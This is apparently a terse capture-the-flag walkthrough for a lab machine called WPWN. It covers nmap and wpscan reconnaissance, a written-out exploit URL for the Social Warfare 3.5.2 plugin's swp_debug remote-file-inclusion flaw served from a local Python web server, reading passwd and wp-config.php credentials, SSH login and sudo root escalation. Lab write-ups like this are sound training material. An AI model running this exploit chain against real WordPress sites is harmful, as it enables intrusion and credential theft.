WPWN

RECON

Ip Search
Our IP leads us to this blank page lets move to scanning
Nmap Scan

nmap -sV -sC 192.168.55.123

-version -safescan
Port 22, and 80 are open

Scan for hidden directories (dirbuster)

dirb http:// 192.168.55.123

WordPress Page

Scan for wordpress vulnerabilities

wpscan --url http:// 192.168.55.123/wordpress/

Scan reveals outdated plugin named Social-Warfare 3.5.2
This Vulnerability allows commands to run for obtaining user Credentials

Payload File
Shows passwd file contents

Python Simple server

 python3 -m http.server 80

ENUMURATION

Visit Website

 http:// 192.168.55.123/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://localhost/payload.txt

User Takis is revealed
Config.php
Word press config.php holds important info. The payload can be used to check for it
Visit Website
Viewing the source reveals a password for a SQL database

Privilege Escalation

Server SSH

 sudo ssh takis@192.168.55.123

User Flag
local.txt

Check User Privileges

Root Escalation

Root Flag

sudo su